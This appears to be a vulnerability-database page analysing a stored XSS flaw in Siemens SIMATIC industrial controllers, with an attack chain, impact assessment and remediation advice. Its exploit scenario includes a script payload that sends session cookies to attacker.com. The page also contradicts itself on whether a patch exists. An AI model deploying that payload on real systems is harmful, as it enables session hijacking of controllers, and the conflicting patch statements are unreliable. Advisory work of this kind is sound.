Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCompromise engineering credentials
-
DeliveryAccess TIA Portal
-
ExploitInject script in TO name
-
InstallDownload malicious project
-
C2Victim accesses diagnostics page
-
ExecuteExecute JavaScript in victim session
-
ImpactExfiltrate session tokens
-
Step 8Hijack authenticated session
-
Step 9Modify controller configuration
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires attacker to possess high-privilege TIA Portal engineering credentials with authorization to create or modify Technology Objects and download projects to the target controller - typically automation engineer, system integrator, or OEM roles. Attacker must have network access to the TIA Portal engineering environment (often isolated on OT networks but may be accessible from compromised engineering workstations). Victim must be an authenticated user with web interface access privileges who specifically navigates to the Motion Control Diagnostics page where the malicious TO name is rendered - not triggered by routine controller operations or HMI interaction. Exploitation limited to environments actively using motion control functionality with Technology Objects defined (not all S7-1500 deployments use motion control features). Attack surface increases in multi-engineer environments with shared TIA Portal projects or contractors with temporary access. Does NOT require: direct internet access to controllers (AV:N refers to network attack against engineering environment), unauthenticated access, or zero-click exploitation. Defensive factors: proper role-based access control in TIA Portal, project change management with code review, network segmentation between IT/OT zones, and disabling web server when not needed for maintenance all limit realistic exploitation despite the network attack vector. |
| Impact | The CVSS 4.0 score of 9.3 and vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H indicate critical severity with high impact across confidentiality, integrity, and availability in both the vulnerable system and subsequent systems (scope change implied by SC:H/SI:H/SA:H metrics). However, real-world exploitability faces significant barriers: PR:H (high privileges required) means the attacker must already possess TIA Portal engineering credentials with project download authorization - typically reserved for automation engineers and system integrators. UI:P (user interaction required) means a second privileged user must access the specific Motion Control Diagnostics page to trigger execution. This is a stored XSS requiring insider access or compromised engineering workstation rather than remote internet exploitation. EPSS data not provided but would likely be low given the privilege requirements. Not present in CISA KEV, indicating no confirmed active exploitation. However, industrial environments with shared engineering workstations, inadequate role segregation, or contractor access present realistic attack scenarios. The scope change metrics suggest the XSS could pivot beyond the web interface to affect controller operations if executed scripts leverage authenticated APIs. Priority assessment: High for environments with motion control systems and multiple engineering personnel; Medium for single-engineer sites with strong workstation security; context-dependent based on network segmentation between IT/OT zones. Data confidence is high - Siemens Product CERT advisory SSA-688146 provides authoritative affected product list and technical details. |
| Exploit ScenarioDerived | An attacker with compromised or insider engineering credentials accesses the TIA Portal project environment and creates a Technology Object for a motion control axis, embedding a malicious JavaScript payload in the TO name field (e.g., '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'). The attacker exports this project and downloads it to the target SIMATIC S7-1500 controller using their legitimate engineering access. Days or weeks later, a plant engineer or system integrator with appropriate privileges logs into the controller's web interface to troubleshoot motion control issues and navigates to the Motion Control Diagnostics page to review axis parameters. The unsanitized TO name is rendered in the HTML, executing the attacker's JavaScript in the victim's authenticated browser session. The script exfiltrates the victim's session cookies to the attacker-controlled server, enabling session hijacking. The attacker then uses the stolen session to access the controller web interface with the victim's high privileges, potentially modifying safety parameters, downloading proprietary ladder logic, or reconfiguring I/O mappings to cause production disruption. Publicly available exploit code not identified at time of analysis, but the stored XSS technique is well-documented for security researchers with access to TIA Portal and test hardware. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 12, 2026
Stored cross-site scripting (XSS) in Siemens SIMATIC S7-1500 and ET 200SP controller families allows authenticated attackers with high privileges to inject malicious scripts via Technology Object (TO) names when downloading TIA Portal projects. The scripts execute when authorized users access the Motion Control Diagnostics web interface page, enabling session hijacking, credential theft, or privileged actions performed under the victim's context. This affects over 100 product variants across industrial automation controllers, software controllers, and open controllers. No active exploitation confirmed (not in CISA KEV). EPSS score not provided in dataset. CVSS 4.0 score of 9.3 reflects high impact across confidentiality, integrity, and availability in both vulnerable and subsequent systems.
Earlier versions of this analysis (1)
Stored cross-site scripting (XSS) in Siemens SIMATIC S7-1500 and ET 200SP controllers allows privileged attackers with project upload capabilities to inject malicious JavaScript into Technology Object names that execute when administrators access the Motion Control Diagnostics web interface. The vulnerability affects dozens of SIMATIC S7-1500 CPU variants, Drive Controllers, and Software Controllers. CVSS 9.1 reflects scope change and high privileges required, but EPSS data is not available. No public exploit code or CISA KEV listing identified at time of analysis, indicating limited real-world exploitation evidence despite high theoretical severity.
RemediationAI
Apply firmware updates according to Siemens ProductCERT advisory SSA-688146 (https://cert-portal.siemens.com/productcert/html/ssa-688146.html). For SIMATIC S7-1500 standard CPUs (1511, 1513, 1515F-2, 1516F-3 variants), upgrade to firmware V2.9.9 or later. For advanced technology and Drive Controller CPUs (1516T, 1517, 1518, Drive Controller 1504D/1507D variants), upgrade to firmware V3.1.6 or later. For SIMATIC ET 200SP distributed controllers, Software Controllers (all versions V2/V3/V4), ET 200SP Open Controllers, and S7-PLCSIM Advanced, consult the advisory for product-specific patched versions as these span multiple product lines. SIPLUS ruggedized variants follow the same version scheme as their standard counterparts. Until patching is complete, implement these compensating controls with noted trade-offs: (1) Restrict TIA Portal project download permissions to a minimal set of trusted engineers using controller access control lists - reduces attack surface but may impact operational flexibility in multi-engineer environments. (2) Disable or block web server access (port TCP/443 or HTTP/80) to the Motion Control Diagnostics page using firewall rules or controller web server configuration - eliminates XSS trigger mechanism but prevents legitimate diagnostics access, potentially complicating troubleshooting. (3) Implement mandatory code review of all Technology Object configurations before project deployment, scanning for script tags or JavaScript in TO names - labor-intensive and may slow development cycles. (4) Network segmentation: isolate engineering workstations and controller management interfaces from general IT networks using dedicated OT VLANs - effective defense-in-depth but requires network infrastructure changes. Priority: patch standard S7-1500 CPUs and ET 200SP controllers first as these represent the broadest installed base.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the web-based management interface of Siemens SIMATIC controllers. The affected products include hardware PLCs (S7-1500 CPU variants, ET 200SP distributed controllers, Drive Controllers), software-based controllers (S7-PLCSIM Advanced, Software Controller for Linux/Windows), and open controllers. The TIA Portal (Totally Integrated Automation Portal) engineering environment allows engineers to define Technology Objects - structured data blocks for motion control applications. When a TIA project containing a maliciously crafted TO name is downloaded to a controller, the web server fails to sanitize this input before rendering it on the Motion Control Diagnostics page. The vulnerability exists in the embedded web server component common across multiple SIMATIC product lines, evidenced by the extensive CPE list covering CPU models from compact 1511 controllers through high-end 1518 models, including safety-rated (F-suffix), technology (T-suffix), and failsafe variants. CVSS 4.0 metrics indicate network-based attack vector with low complexity but requiring high privileges and user interaction, suggesting the attack chain involves an authenticated project engineer deploying malicious content that triggers when another privileged user accesses diagnostics.
Know when Simatic Et 200Sp Cpu 1510Sp F 1 Pn gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from Vendor (siemens) · only source for this CVE.
CVSS VectorVendor: siemens
Lifecycle Timeline
3DescriptionCVE.org
Affected devices do not properly validate and sanitize Technology Object (TO) name rendered on the "Motion Control Diagnostics" page of the web interface. This could allow an authenticated attacker who is authorized to download a TIA project into the product, to inject malicious scripts into the page. If a benign user with appropriate rights accesses the "Motion Control Diagnostics" parameters page, the malicious code would be executed in the scope of their web session.
Executive ViewAI
Siemens SIMATIC S7-1500 and ET 200SP industrial controllers contain a stored XSS vulnerability (CVSS 9.3) that allows high-privilege authenticated users to inject malicious scripts via project downloads, with execution occurring when other authorized personnel access the Motion Control Diagnostics interface. This vulnerability threatens credential theft, session hijacking, and unauthorized privileged actions across over 100 controller variants in critical industrial automation environments, creating direct risk to operational integrity and asset security.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict high-privilege account permissions to only personnel requiring TIA Portal project administration; (2) Disable or air-gap the Motion Control Diagnostics web interface where operationally feasible; (3) Implement network segmentation isolating affected controllers from trusted user networks; (4) Enforce multi-factor authentication for all high-privilege accounts; (5) Conduct periodic audits of project files for suspicious Technology Object (TO) naming patterns; (6) Log and monitor all project download and diagnostics interface access events.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Stored cross-site scripting in Siemens SIMATIC S7-1500 controller family web interface allows authenticated high-privile
Denial of service in Siemens industrial networking equipment allows remote unauthenticated attackers to crash affected d
Cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Controller CPU
Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, Drive Controller and S7-1
Importing a maliciously crafted trace file into the integrated web server of a Siemens SIMATIC S7-1500 (and closely rela
Cross-site scripting (XSS) in Siemens SIMATIC S7-1500 PLC family firmware upload interface allows authenticated attacker
Stored cross-site scripting (CWE-79) in the integrated web server Trace page of Siemens SIMATIC S7-1500, ET 200SP, and S
Reflected cross-site scripting in the integrated web server of a broad range of Siemens SIMATIC S7-1500, ET 200SP, and D
Stored/DOM cross-site scripting (CWE-79, CVSS 6.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) in the web-based Trace
Cross-site scripting (CWE-79) in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP, and SIMATIC Drive Contr
Stored cross-site scripting in the integrated web server of Siemens SIMATIC S7-1500, ET 200SP and SIMATIC Drive Controll
EUVD-2026-29427
GHSA-6664-q64g-w92p
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB